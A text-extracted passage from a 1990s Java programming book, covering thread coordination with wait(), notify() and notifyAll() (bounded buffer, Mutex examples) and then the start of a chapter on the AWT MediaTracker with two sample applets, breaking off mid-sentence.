is suspended (a thread with nothing to do should not consume CPU time). The threads sending events to the waiting thread should invoke a mechanism to notify the waiting thread that an event has occurred. It is no accident that the previous examples repeatedly use the words "wait" and "notify." These words express the two concepts central to thread coordination: a thread waits for some condition event to occur, and you notify a waiting thread that a condition or event has occurred. The words wait and notify are also used in Java as the names of the methods you will call to coordinate threads (wait() and notify(), in class Object). As noted earlier in the chapter (in the section titled Monitors), every Java object has an associated monitor. That fact turns out to be useful at this point, because monitors are also used to implement Java's thread coordination primitives. Although monitors are not directly visible to the programmer, an API is provided in class Object to enable you to interact with an object's monitor. This API consists of two methods: wait() and notify().

Conditions, wait(), and notify()


Threads are usually coordinated using a concept known as a condition, or condition variable. A condition is a state or an event that a thread can not proceed without-the thread must wait for the condition to become true before continuing. In Java, this pattern is usually expressed: while ( ! the_condition_I_am_waiting_for ) { wait(); } First, you check to see if the desired condition is already true. If it is true, there is no need to wait. If the condition is not yet true, then call the wait() method. When wait() ends, recheck the condition to make sure that it is now true. Invoking the wait() method on an object pauses the current thread until a different thread calls notify() on the object, to inform the waiting thread of a condition change. While stopped inside wait(), the thread is considered not runnable, and will not be assigned to a CPU for execution until it is awakened by a call to notify() from a different thread. (The notify() method must be called from a different thread; the waiting thread is not running, and thus is not capable of calling notify().) A call to notify() will inform a single waiting thread that a condition of the object has changed, ending its call to wait(). There are two additional varieties of the wait() method. The first version takes a single parameter-a timeout value (in milliseconds). The second version has two parameters-again, a timeout value (in milliseconds and nanoseconds). These methods are used when you do not want to wait indefinitely for an event. If you want to abandon the wait after a fixed period of time, you should use either of the
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch7.htm (19 of 31) [8/16/02 8:36:42 AM]

Chapter 7 -- Concurrency and Synchronization

following:
G G

wait(long milliseconds); wait(long milliseconds, int nanoseconds);

Unfortunately, these methods do not provide a means to determine how the wait() was ended-whether a notify() occurred or whether it timed out. This is not a big problem, however, because you can recheck the wait condition and the system time to determine which event has occurred. Note The 1.0 JDK implementation from JavaSoft does not provide a full implementation for wait(long milliseconds, int nanoseconds). This method currently rounds the nanoseconds parameter to the nearest millisecond. JavaSoft has not stated whether they plan to change the behavior of this method in the future.

The wait() and notify() methods must be invoked either within a synchronized method or within a synchronized statement. This requirement will be discussed in further detail in the section Monitor Ownership, later in this chapter.

A Thread Coordination Example


A classic example of thread coordination used in many computer science texts is the bounded buffer problem. This problem involves using a fixed-size memory buffer to communicate between two processes or threads. (In many operating systems, interprocess communication buffers are allocated with a fixed size and are not allowed to grow or shrink.) To solve this problem, you must coordinate the reader and writer threads so that the following are true:
G

The writer thread can continuously write to a buffer until the buffer becomes full, at which time the writer thread is suspended. When the reader thread removes items from the full buffer, the writer thread is notified of the buffer's changed condition and is activated and allowed to resume writing. The reader can continuously read from the buffer until it becomes empty, at which time the reader thread is suspended. When the writer adds items to the empty buffer, the reader thread is notified of the buffer's changed condition and is activated and allowed to resume reading.

The following class listings demonstrate a Java implementation of the bounded buffer problem. There are
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch7.htm (20 of 31) [8/16/02 8:36:42 AM]

Chapter 7 -- Concurrency and Synchronization

three main classes in this example: the Producer, the Consumer, and the Buffer. Let's start with the Producer: public class Producer implements Runnable { private Buffer buffer; public Producer(Buffer b) { buffer = b; } public void run() { for (int i=0; i<250; i++) { buffer.put((char)('A' + (i%26))); } } } The Producer class implements the Runnable interface (which should give you a hint that it will be used as the main method in a thread). When the Producer's run() method is invoked, 250 characters are written in rapid succession to a Buffer. If the Buffer is not capable of storing all 250 characters, the Buffer's put() method is called upon to perform the appropriate thread coordination (which you'll see in a moment). The Consumer class is as simple as the Producer: public class Consumer implements Runnable { private Buffer buffer; public Consumer(Buffer b) { buffer = b; } public void run() { for (int i=0; i<250; i++) { System.out.println(buffer.get()); } } } The Consumer is also a Runnable. Its run() method greedily reads 250 characters from a Buffer. If the Consumer tries to read characters from an empty Buffer, the Buffer's get() method is responsible for coordinating with the Consumer thread acting on the buffer.

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch7.htm (21 of 31) [8/16/02 8:36:43 AM]

Chapter 7 -- Concurrency and Synchronization

The Buffer class has been mentioned a number of times already. Two of its methods, put(char) and get(), have been introduced. Here is a listing of the Buffer class in its entirety: public class Buffer { private char[] buf; private int last;

// buffer storage // last occupied position

public Buffer(int sz) { buf = new char[sz]; last = 0; } public boolean isFull() { return (last == buf.length); } public boolean isEmpty() { return (last == 0); } public synchronized void put(char c) { while(isFull()) { try { wait(); } catch(InterruptedException e) { } } buf[last++] = c; notify(); } public synchronized char get() { while(isEmpty()) { try { wait(); } catch(InterruptedException e) { } } char c = buf[0]; System.arraycopy(buf, 1, buf, 0, --last); notify(); return c; } } Note

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch7.htm (22 of 31) [8/16/02 8:36:43 AM]

Chapter 7 -- Concurrency and Synchronization

When you first begin using wait() and notify(), you might notice a contradiction. You've already learned that to call wait() or notify(), you must first acquire ownership of the object's monitor. If you acquire the monitor in one thread and then call wait(), how will a different thread acquire the monitor in order to notify() the first thread? Isn't the monitor still owned by the first thread while it is wait()ing, preventing the second thread from acquiring the monitor? The answer to this paradox is in the implementation of the wait() method; wait() temporarily releases ownership of the monitor when it is called, and obtains ownership of the monitor again before it returns. By releasing the monitor, the wait() method allows other threads to acquire the monitor (and maybe call notify()).

The Buffer class is just that-a storage buffer. You can put() items into the buffer (in this case, characters), and you can get() items out of the buffer. Note the use of wait() and notify() in these methods. In the put() method, a wait() is performed while the Buffer is full; no more items can be added to the buffer while it is full. At the end of the get() method, the call to notify() ensures that any thread waiting in the put() method will be activated and allowed to continue adding an item to the Buffer. Note Java provides two classes that are similar to the Buffer class presented in this example. These classes, java.io.PipedOutputStream and java.io.PipedInputStream, are useful in communicating streams of data between threads. If you unpack the src.zip file shipped with the 1.0 JDK, you can examine these classes and see how they handle interthread coordination.

Advanced Thread Coordination


The wait() and notify() methods greatly simplify the task of coordinating multiple threads in a concurrent Java program. However, in order to make full use of these methods, there are a few additional details you should understand. The following sections present more detailed material about thread coordination in Java.
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch7.htm (23 of 31) [8/16/02 8:36:43 AM]

Chapter 7 -- Concurrency and Synchronization

Monitor Ownership
The wait() and notify() methods have one major restriction that you must observe: you may call these methods only when the current thread owns the monitor of the object. Most frequently, wait() and notify() are invoked from within a synchronized method, as in the following: public synchronized void method() { ... while (!condition) { wait(); } ... } In this case, the synchronized modifier guarantees that the thread invoking the wait() call already owns the monitor when it calls wait(). If you attempt to call wait() or notify() without first acquiring ownership of the object's monitor (for example, from a non-synchronized method), the virtual machine will throw an IllegalMonitorStateException. The following code example demonstrates what happens when you call wait() without first acquiring ownership of the monitor: public class NonOwnerTest { public static void main(String[] args) { NonOwnerTest not = new NonOwnerTest(); not.method(); } public void method() { try { wait(); } catch(InterruptedException e) { } } } If you run this Java application, the following text is printed to the terminal: java.lang.IllegalMonitorStateException: current thread not owner at java.lang.Object.wait(Object.java) at NonOwnerTest.method(NonOwnerTest.java:10) at NonOwnerTest.main(NonOwnerTest.java:5)

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch7.htm (24 of 31) [8/16/02 8:36:43 AM]

Chapter 7 -- Concurrency and Synchronization

When you invoke the wait() method on an object, you must own the object's monitor in order to avoid this exception. Unfortunately, JavaSoft's documentation of the wait() and notify() methods contains a confusing error with respect to monitor ownership. The 1.0 JDK API documentation for the wait() method-in the Object class-contains a factual error, stating that "The method wait() can only be called from within a synchronized method." (The notify() and notifyAll() documentation contain similar misstatements.) The documentation continues with a discussion of exceptions for the wait() method: "Throws: IllegalMonitorStateException-If the current thread is not the owner of the Object's monitor." The former quotation is incorrect in that it is overly restrictive. The second quotation is correct. Only monitor ownership is required, not a synchronized method. To demonstrate that monitor ownership is the only requirement for calling wait() and notify(), look at this example class: public class NonOwnerTest2 { public static void main(String[] args) { NonOwnerTest2 not2 = new NonOwnerTest2(); not2.syncmethod(); } public synchronized void syncmethod() { method(); } private void method() { try { wait(10); } catch(InterruptedException e) { } } } In this example, wait(10); is invoked within a non-synchronized method, without any problems at runtime. At startup, main() calls syncmethod() on a NonOwnerTest2 object, which implicitly assigns ownership of the monitor to the current thread. syncmethod() then calls method(), a nonsynchronized method that performs the wait(). When you run this application, no exception is thrown, and the application exits after a ten-millisecond wait. You might argue that the previous example does not justify nit-picking Java's API documentation. After all, the example still uses a synchronized method. wait() is called in a method that is called by a synchronized method, so the wait() could be considered to be "within" the synchronized method. But synchronized methods are not the only way to acquire a monitor in Java, however. Recall the synchronized(obj) statement, presented earlier in the chapter. The synchronized() statement can be used to acquire monitor ownership, just like a synchronized method.

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch7.htm (25 of 31) [8/16/02 8:36:43 AM]

Chapter 7 -- Concurrency and Synchronization

The synchronized() statement can be useful in some situations related to thread coordination. For example, let's take a look at a variation of the Counter class, presented earlier in the chapter. The NotifyCounter class notifies a waiting thread when the counter reaches a specific value. Here is the code: public class NotifyCounter { private int count = -1; private int notifyCount = -1; public synchronized int incr() { if (++count == notifyCount) { notify(); } return (count); } public synchronized void notifyAt(int i) { notifyCount = i; } } This Counter class will call notify() when the counter reaches a programmer-specified value, but the class does not contain code that calls the wait() method. How is a thread to be notified? By calling wait() on the NotifyCounter object itself, as in the following application: import NotifyCounter; public class NotifyCounterTest implements Runnable { public static void main(String[] args) { NotifyCounterTest nct = new NotifyCounterTest(); nct.counter = new NotifyCounter(); synchronized(nct.counter) { (new Thread(nct)).start(); nct.counter.notifyAt(25); try { nct.counter.wait(); // wait here System.out.println("NotifyCounter reached 25"); } catch (InterruptedException e) { } } } private NotifyCounter counter = null; public void run() {

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch7.htm (26 of 31) [8/16/02 8:36:43 AM]

Chapter 7 -- Concurrency and Synchronization

for (int i=0; i<50; i++) { int n = counter.incr(); System.out.println("counter: " + n); } } }

Multiple Waiters
It is possible for multiple threads to be wait()ing on the same object. This might happen if multiple threads are waiting for the same event, or if many threads are competing for a single system resource. For example, recall the Buffer class described earlier in this section. The Buffer was operated on by a single Producer and a single Consumer. What would happen if there were multiple Producers? If the Buffer filled, different Producers might attempt to put() items into the buffer; both would block inside the put() method, waiting for a Consumer to come along and free up space in the Buffer. When you call notify(), there may be zero, one, or more threads blocked in a wait() on the monitor. If there are no threads waiting, the call to notify() is a no-op-it will not affect any other threads. If there is a single thread in wait(), that thread will be notified and will begin waiting for the monitor to be released by the thread that called notify(). If two or more threads are in a wait(), the virtual machine will pick a single waiting thread and will notify that thread. How does the virtual machine pick a waiting thread if multiple threads are wait()ing on the same monitor? As with threads waiting to enter a synchronized method, the behavior of the virtual machine is not specified. Current implementations of the virtual machine, however, are well-defined. The Solaris 1.0 JDK virtual machine will select the highest-priority thread and will notify that thread. If more than one waiting thread has the same high priority, the thread that executed wait() first will be notified. Windows 95 and Windows NT are a little more complicated-the Win32 system handles the prioritization of the notification. Although it may be possible to predict which thread will be notified, this behavior should not be trusted. JavaSoft has left the behavior unspecified to allow for change in future implementations. The only behavior you can reliably depend on is that exactly one waiting thread will be notified when you call notify()-that is, if there are any waiting threads.

Using notifyAll()
In some situations, you may wish to notify every thread currently wait()ing on an object. The Object API provides a method to do this: notifyAll(). Whereas the notify() method wakes a single waiting thread, the notifyAll() method will wake every thread currently stopped in a wait() on the object.
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch7.htm (27 of 31) [8/16/02 8:36:43 AM]

Chapter 7 -- Concurrency and Synchronization

When would you want to use notifyAll()? As an example, consider the java.awt.MediaTracker class. This class is used to track the status of images that are being loaded over the network. Multiple threads may wait() on the same MediaTracker object, waiting for all the images to be loaded. When the MediaTracker detects that all images have been loaded, notifyAll() is called to inform every waiting thread that the images have been loaded. notifyAll() is used because the MediaTracker does not know how many threads are waiting; if notify() were used, some of the waiting threads might not receive notification that transfer was completed. These threads would continue waiting, probably hanging the entire applet. An example presented earlier in this chapter could also benefit from the use of notifyAll(). The Buffer class used the notify() method to send a notification to a single thread waiting on an empty or a full buffer. There was no guarantee that only a single thread was waiting, however; multiple threads may have been waiting for the same condition. Here is a modified version of the Buffer class (named Buffer2) that uses notifyAll(): public class Buffer2 { private char[] buf; private int last = 0; position private int writers_waiting = 0; in put() private int readers_waiting = 0; in get() public Buffer2(int sz) { buf = new char[sz]; } public boolean isFull() { return (last == buf.length); } public boolean isEmpty() { return (last == 0); } public synchronized void put(char c) { while(isFull()) { try { writers_waiting++; wait(); } catch (InterruptedException e) { } finally { writers_waiting--; } } buf[last++] = c; if (readers_waiting > 0) { notifyAll(); } }
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch7.htm (28 of 31) [8/16/02 8:36:43 AM]

// storage // last occupied // # of threads waiting // # of threads waiting

Chapter 7 -- Concurrency and Synchronization

public synchronized char get() { while(isEmpty()) { try { readers_waiting++; wait(); } catch (InterruptedException e) { } finally { readers_waiting--; } } char c = buf[0]; System.arraycopy(buf, 1, buf, 0, --last); if (writers_waiting > 0) { notifyAll(); } return c; } } The get() and put() methods have been made more intelligent. They now check to see whether any notification is necessary and then use notifyAll() to broadcast an event to all waiting threads.

Using InterruptedException
Throughout this chapter, the examples have contained a reference to the exception class InterruptedException. If you examine the declaration of the wait() methods in Object, you will see why: public final void wait() throws InterruptedException The wait() method declares that it might throw an InterruptedException. The documentation for wait() states: "Throws: InterruptedException-Another thread has interrupted this thread." What does this mean? A different thread has interrupted this thread. How? This is not made clear by the documentation. In fact, this is not made clear by examining the source code for Object. The wait() method does not throw an InterruptedException, nor does any other code in the 1.0 JDK. The InterruptedException is part of JavaSoft's future plan for the language. This exception is intended to be used by the Thread method interrupt(). In future versions of the language, it will be possible to throw an InterruptedException in a different thread by calling the interrupt() method on its Thread object. If the thread happens to be blocked inside a wait(), the wait() will be ended, and the InterruptedException will be thrown.

Mutexes, Condition Variables, and Critical Sections


file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch7.htm (29 of 31) [8/16/02 8:36:43 AM]

Chapter 7 -- Concurrency and Synchronization

Monitors are the only form of concurrency control directly available in Java. However, monitors are a powerful enough concept to enable the expression of other types of concurrency control in user-defined classes. Mutexes, condition variables, and critical sections can all be expressed as Java classesimplemented using monitors. The following is an example of a Mutex class, implemented in Java using monitors: public class Mutex { private Thread owner = null; private int wait_count = 0; public synchronized boolean lock(int millis) throws InterruptedException { if (owner == Thread.currentThread()) { return true; } while (owner != null) { try { wait_count++; wait(millis); } finally { wait_count--; } if (millis != 0 && owner != null) { return false; // timed out } } owner = Thread.currentThread(); return true; } public synchronized boolean lock() throws InterruptedException { return lock(0); } public synchronized void unlock() { if (owner != Thread.currentThread()) { throw new RuntimeException("thread not Mutex owner"); } owner = null; if (wait_count > 0) { notify(); } } }

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch7.htm (30 of 31) [8/16/02 8:36:43 AM]

Chapter 7 -- Concurrency and Synchronization

If you are familiar with mutexes, you undoubtedly see how easily this concept is expressed in Java. It is an academic exercise (left to the reader) to use this Mutex class to implement condition variables, critical sections, and so forth.

Summary
A lot of information is presented in this chapter! By now, you probably feel like a concurrency and synchronization guru. You've learned the following:
G G

G G G

G G G

Why thread-safety can be a problem when programming with multiple threads How to make classes thread-safe using synchronized methods and the synchronized statement Many details about how monitors work in Java (probably more than you wanted to know!) Some situations when you might not want to use synchronized methods How Monitors, used in incorrect ways, can cause your application to freeze-a situation known as a deadlock How to coordinate threads using the wait() and notify() methods When and why to use notifyAll() How to implement other forms of concurrency control using Java monitors

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch7.htm (31 of 31) [8/16/02 8:36:43 AM]

Chapter 2 -- Using the Media Tracker

Chapter 2
Using the Media Tracker

CONTENTS
G G G G G G

Java Media Objects and the Internet Keeping Up with Media Objects The MediaTracker Class Tracking Images with the Media Tracker Tracking Other Types of Media Summary

It's hard to talk about Java without the subject of multimedia popping up. Indeed, Java is the ideal technology to bring multimedia content to the Web. Knowing this, the Java architects have had to deal with a common problem associated with distributed media, transmission delay. Transmission delay refers to the amount of time it takes to transfer a media object across a network connection, and therefore how much time a Java applet must wait for images, sounds, and other media objects to be transferred. The Java media tracker is a Java object that helps deal with the transmission delay problem by keeping up with when media objects have been successfully transmitted. Although the media tracker doesn't alleviate the delay in transmitting media objects, it does provide information regarding when objects have been transferred. In this chapter, you learn all about the Java media tracker, including how the media tracker is used to track media objects. You then get to see the benefits of the media tracker by implementing an applet both with and without media tracker support.

Java Media Objects and the Internet


One of the most important features of Java is its support for images and sound. No matter how many multimedia features Java provides, however, the problem of transmitting multimedia content over a limited bandwidth still exists. This means that the speed at which multimedia content is transferred over a Web connection often causes a noticeable delay in a Java applet reliant on media objects. Of course, there isn't much that can be done in software to alleviate the physical transmission speed
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch2.htm (1 of 11) [8/16/02 8:36:50 AM]

Chapter 2 -- Using the Media Tracker

limitations of a network connection. However, there is a standard technique for dealing with transmission delay as it affects static images. You've no doubt seen this technique at work in your Web browser when viewing images in Web pages. The technique is known as interlacing and results in images appearing blurry until they have been completely transferred. To make use of interlacing, images must be stored in an interlaced format (usually GIF version 89a), which means that the image data is arranged in such a way that the image can be displayed before it is completely transmitted. Interlacing is a good approach to dealing with transmission delays for static images, because it enables you to see the image as it is being transferred. Without interlacing, you have to wait until the entire image has been transferred before seeing it at all. Before you get too excited about interlacing, keep in mind that it's only useful for static images. This has to do with the fact that animations (dynamic images) rely on rapidly displaying a sequence of images over time, all of which must be available to create the effect of movement successfully. For more information about how animation works, look at Chapter 13, "Animation Techniques." An animation sequence just wouldn't look right using interlacing, because some of the images would be transferred before others. At this point, you may be thinking that a good solution would be to wait until all the images have been transferred before displaying the animation. Now you're thinking! But how do you know when the images have all been transferred? Enter the Java media tracker. Think about how the transmission delay problem affects sound and music. Similar to animation, there isn't an interlacing workaround for sound and music. This is because sound is based on the passing of time, which means that there is no way to incrementally improve the sound quality without playing the sound. Once a sound is played, its time has passed. The same situation exists for music. Therefore, the media tracker presents a solution useful not only for animations, but also for sound and music. The drawback, as you'll learn later in this chapter, is that the media tracker currently supports only images.

Keeping Up with Media Objects


You've arrived at the logical conclusion that the best way to manage transmission delay effects on media objects is to simply keep up with when the objects have been successfully transferred. The Java media tracker is an object that performs this exact function. Using the media tracker, you can keep up with any number of media objects and query for when they have finished being transmitted. For example, suppose you have an animation with four images. Using the media tracker, you would register each of these images and then wait until they have all been transferred before displaying the animation. The media tracker keeps up with the load status of each image. When the media tracker reports that all the images have been successfully loaded, you are guaranteed that your animation has all the necessary images to display correctly.

The MediaTracker Class


file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch2.htm (2 of 11) [8/16/02 8:36:50 AM]

Chapter 2 -- Using the Media Tracker

Not surprisingly, the Java media tracker is implemented as a class. The Java MediaTracker class is part of the AWT package and contains a variety of members and methods for tracking media objects. Unfortunately, the MediaTracker class that ships with release 1.0 of the Java Development Kit supports only the tracking of images. Future versions of Java are expected to add support for other types of media objects, such as sound, music, and animation.

Members
The MediaTracker class provides member flags for representing various states associated with tracked media objects. These flags are returned by many of the member functions of MediaTracker. Here are the MediaTracker member flags:
G G G G

final final final final

static static static static

int int int int

LOADING ABORTED ERRORED COMPLETE

The LOADING flag indicates that a media object is currently in the process of being loaded. The ABORTED flag indicates that the loading of a media object has been aborted. The ERRORED flag indicates that some type of error occurred while trying to load a media object, and the COMPLETE flag indicates that a media object has been successfully loaded.

Methods
The MediaTracker class provides the following methods for helping to track media objects:
G G G G G G G G G G G G G G G

MediaTracker(Component comp) void addImage(Image image, int id) synchronized void addImage(Image image, int id, int w, int h) boolean checkID(int id) synchronized boolean checkID(int id, boolean load) boolean checkAll() synchronized boolean checkAll(boolean load) void waitForID(int id) synchronized boolean waitForID(int id, long ms) void waitForAll() synchronized boolean waitForAll(long ms) int statusID(int id, boolean load) int statusAll(boolean load) synchronized boolean isErrorID(int id) synchronized boolean isErrorAny()

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch2.htm (3 of 11) [8/16/02 8:36:50 AM]

Chapter 2 -- Using the Media Tracker


G G

synchronized Object[] getErrorsID(int id) synchronized Object[] getErrorsAny()

The constructor for MediaTracker takes a single parameter of type Component. This parameter specifies the Component object on which tracked images will eventually be drawn. This parameter reflects the current limitation of only being able to track images with the MediaTracker class. The addImage methods add an image to the list of images currently being tracked. Both methods take as their first parameter an Image object and as their second parameter an identifier that uniquely identifies the image. If you want to track a group of images together, you can use the same identifier for each. The second addImage method has additional parameters for specifying the width and height of a tracked image. This version of addImage is used for tracking images that you are going to scale; you pass the width and height that you want to use for the scaled image. Once images have been added to the MediaTracker object, you are ready to start checking their status. The checkID methods are used to check whether images matching the passed identifier have finished loading. Both versions of checkID return false if the images have not finished loading and true otherwise. This means that they return true even if the loading has been aborted or if an error has occurred. You must call the appropriate error checking methods to see whether an error occurred. You'll learn about the error checking methods a little later in this section. The only difference between the two checkID methods is how the loading of images is handled. The first version of checkID does not load an image if it has not already begun loading. The second version, on the other hand, enables you to specify that the image be loaded if it hasn't already started loading. You specify this by passing true in the load parameter. The checkAll methods are very similar to the checkID methods, except they apply to all images and not just those matching a certain identifier. Similar to the checkID methods, the checkAll methods come in two versions. The first version doesn't load any images that haven't already begun loading, and the second version enables you to indicate that images start loading if they haven't started already. The waitForID methods are used to begin loading images with a certain identifier. Both versions of waitForID are synchronous, meaning that they do not return until all the specified images have finished loading or an error occurs. The second version of waitForID enables you to specify a timeout period, in which case the load will end, and waitForID will return true. You specify the time-out period in milliseconds by using the ms parameter. The waitForAll methods are very similar to the waitForID methods, except they operate on all images. Like the waitForID methods, there are versions of waitForAll both with and without timeout support. The statusID method is used to determine the status of images matching the identifier passed in the
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch2.htm (4 of 11) [8/16/02 8:36:50 AM]

Chapter 2 -- Using the Media Tracker

id parameter. statusID returns the bitwise OR of the status flags related to the images. The possible flags are LOADING, ABORTED, ERRORED, and COMPLETE. To check for a particular status flag, you simply mask the flag out of the return value of statusID: if (tracker.statusID(0, true) & MediaTracker.ERRORED) { // there was an error! } The second parameter to statusID, load, should be familiar to you by now. It specifies whether you want the images to start loading if they haven't started already. This functionality is very similar to that provided by the second version of the checkID and waitForID methods. The statusAll method is very similar to the statusId method, with the only difference being that statusAll returns the status of all the images being tracked, rather than those matching a specific identifier. Finally, you arrive at the error checking methods mentioned earlier. The isErrorID and isErrorAny methods check the error status of images being tracked. The only difference is that the former checks on images with a certain identifier, and the latter checks on all images. Both of these methods basically check the status of each image for the ERRORED flag. Note that both methods will return true if any of the images have errors; it's up to you to determine which specific images have errors. If you use isErrorID or isErrorAny and find out that there are load errors, you then need to find out which images had errors. You do this by using the getErrorsID and getErrorsAny methods. These two methods return an array of Objects containing the media objects that have load errors. In the current implementation of the MediaTracker, this array is always filled with Image objects. If there are no errors, these methods return null. Similar to the isErrorID and isErrorAny methods, getErrorsID and getErrorsAny differ only by the images that they check; the former returns errored images matching the passed identifier, and the latter returns all errored images. That wraps up the description of the MediaTracker class. Now that you know the details about the class, you're ready to see it in action. Read on!

Using Images Without the Media Tracker


Tracking images with the MediaTracker class is pretty easy, and you'll learn how to do it soon enough. However, to better illustrate the impact of using the media tracker, you will first write an applet that doesn't use it. After seeing how the images are loaded and how the applet responds, you'll have more insight into why the media tracker is important. Figure 2.1 contains a screen shot of the Count1 applet.

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch2.htm (5 of 11) [8/16/02 8:36:50 AM]

Chapter 2 -- Using the Media Tracker

Figure 2.1 : The Count1 applet with images fully loaded. The Count1 applet displays a series of ten images horizontally one after the next. In an environment where the images are readily available, they would immediately be drawn when the applet is first run. However, with Java you are typically dealing with distributed applets, where the media objects used by an applet must be downloaded at runtime. This results in an appreciable delay between when the applet is run and when the images are available for display. (As you may have guessed, the screen shot of Count1 in Figure 2.1 was taken a few seconds after the applet had been run, meaning that I gave it time to finish loading the images. What I saw in the meantime is shown in Figure 2.2.) Figure 2.2 : The Count1 applet with images partially loaded. It's clear from Figure 2.2 that the images are in the middle of loading. Although the resulting effect is tolerable in this applet because the images are displayed statically, imagine what the effect would be if the applet were attempting to count to nine using the images. In this case, the images would be part of an animation and would yield very unpredictable results depending on the speed of the animation and the speed at which the applet was counting. Before you learn how to resolve this problem, it's important to understand what is happening in Count1. Take a look at the source code for the Count1 applet in Listing 2.1.

Listing 2.1. The Count1 sample applet. // Count1 Class // Count1.java // Imports import java.applet.*; import java.awt.*; public class Count1 extends Applet { Image img[] = new Image[10]; public void init() { for (int i = 0; i < 10; i++) img[i] = getImage(getDocumentBase(), "Res/" + i + ".gif"); } public void update(Graphics g) { paint(g);
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch2.htm (6 of 11) [8/16/02 8:36:50 AM]

Chapter 2 -- Using the Media Tracker

} public void paint(Graphics g) { for (int i = 0; i < 10; i++) g.drawImage(img[i], i * 48, 0, this); } }

Count1 has an array of ten Image objects as its only member variable, img. This array holds the ten number images that Count1 draws. The image array is initialized in the init method by loading each image in a for loop. The getImage method is used to load each image. Notice in the call to getImage that the images are expected to be stored in the Res subdirectory under the directory where the applet was launched. In Count1, the update method is overridden so that there is no flicker when drawing the images. This is evident by the fact that this update method only calls paint. The original update method clears the background before calling paint. This is a pretty standard approach to eliminating flicker in simple Java applets. You learn about more powerful flicker reducing techniques in Chapter 13. Finally, the images are drawn using the paint method. Drawing the images is as simple as iterating through the image array and calling the drawImage method for each image.

Tracking Images with the Media Tracker


Now that you have an idea how an applet works without the help of the media tracker, it's time to take a look at how the media tracker improves things. By using the media tracker, you know exactly when certain images have been transferred and are ready to use. This enables you to display alternate output based on whether the images have finished transferring. Figure 2.3 shows the Count2 applet while the images are still being loaded. Figure 2.3 : The Count2 applet with images partially loaded. As you can see, the images aren't displayed at all until they have all been successfully transferred. Instead, a text message is displayed informing the user that the images are still in the process of loading. This is a pretty simple enhancement to the applet, but one that makes the applet look much more professional. By displaying a simple message while media objects are loading, you solve the problem of drawing partially transferred images. Furthermore, you provide the user with more information about what is happening. If users have to wait for something, they are usually much more satisfied if you give them details about what they are waiting for.
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch2.htm (7 of 11) [8/16/02 8:36:50 AM]

Chapter 2 -- Using the Media Tracker

Take a look at the source code for Count2 in Listing 2.2.

Listing 2.2. The Count2 sample applet. // Count2 Class // Count2.java // Imports import java.applet.*; import java.awt.*; public class Count2 extends Applet implements Runnable { Image img[] = new Image[10]; Thread thread; MediaTracker tracker; public void init() { tracker = new MediaTracker(this); for (int i = 0; i < 10; i++) { img[i] = getImage(getDocumentBase(), "Res/" + i + ".gif"); tracker.addImage(img[i], 0); } } public void start() { thread = new Thread(this); thread.start(); } public void stop() { thread.stop(); thread = null; } public void run() { try { tracker.waitForID(0); } catch (InterruptedException e) { return;

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch2.htm (8 of 11) [8/16/02 8:36:50 AM]

Chapter 2 -- Using the Media Tracker

} repaint(); } public void update(Graphics g) { paint(g); } public void paint(Graphics g) { if ((tracker.statusID(0, true) & MediaTracker.ERRORED) != 0) { g.setColor(Color.red); g.fillRect(0, 0, size().width, size().height); return; } if ((tracker.statusID(0, true) & MediaTracker.COMPLETE) != 0) { for (int i = 0; i < 10; i++) g.drawImage(img[i], i * 48, 0, this); } else { Font font = new Font("Helvetica", Font.PLAIN, 18); FontMetrics fm = g.getFontMetrics(font); String str = new String("Loading images..."); g.setFont(font); g.drawString(str, (size().width - fm.stringWidth(str)) / 2, ((size().height - fm.getHeight()) / 2) + fm.getAscent()); } } }

It looks like a lot more code than Count1, but the extra code required to add media tracker support is really very simple. A lot of the extra code in Count2 is to draw the various outputs if the images aren't loaded. The first thing you probably noticed in Count2 is the addition of two member variables, thread and tracker. The thread member is a Thread object that is used to provide the media tracker with its own stream of execution. This allows the media tracker to wait for the images to load without halting
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch2.htm (9 of 11) [8/16/02 8:36:50 AM]

Chapter 2 -- Using the Media Tracker

execution of the applet itself. The tracker member is the MediaTracker object used to track the images. In the init method, the MediaTracker object is created by passing this as the only parameter to its constructor. If you recall from the discussion of the MediaTracker constructor earlier in this chapter, this parameter is of type Component, and it represents the component on which the tracked images will be drawn. All Applets are derived from Component, so passing the Applet object (this) correctly initializes the media tracker. Also notice that the images are added to the media tracker in the Init method. This is accomplished by calling the addImage method of MediaTracker and passing the Image object and an identifier. Notice that 0 is passed as the identifier for all the images. This means that you are tracking them as a group. The start and stop methods are used to manage the creation and destruction of the Thread member object. These are pretty standard implementations for adding basic multithreading support to an applet. The run method is where the tracking actually starts taking place. The waitForID method of MediaTracker is called within a try-catch clause. It must be placed in this exception handling clause because an InterruptedException will be thrown if another thread interrupts this thread. Recall that waitForID is synchronous, meaning that it won't return until all the images with the specified identifier have been loaded. This means that the call to repaint will not occur until the images have all been loaded. To understand why this works, you need to look at the last method in Count2, paint. The paint method begins by checking to see whether an error has occurred loading the images. It does this by calling statusID and checking the result against the ERRORED flag. If an error has occurred, paint fills the applet window with the color red to indicate an error. Figure 2.4 shows what Count2 looks like when an error occurs. Figure 2.4 : The Count2 applet with an error in loading the images. The next 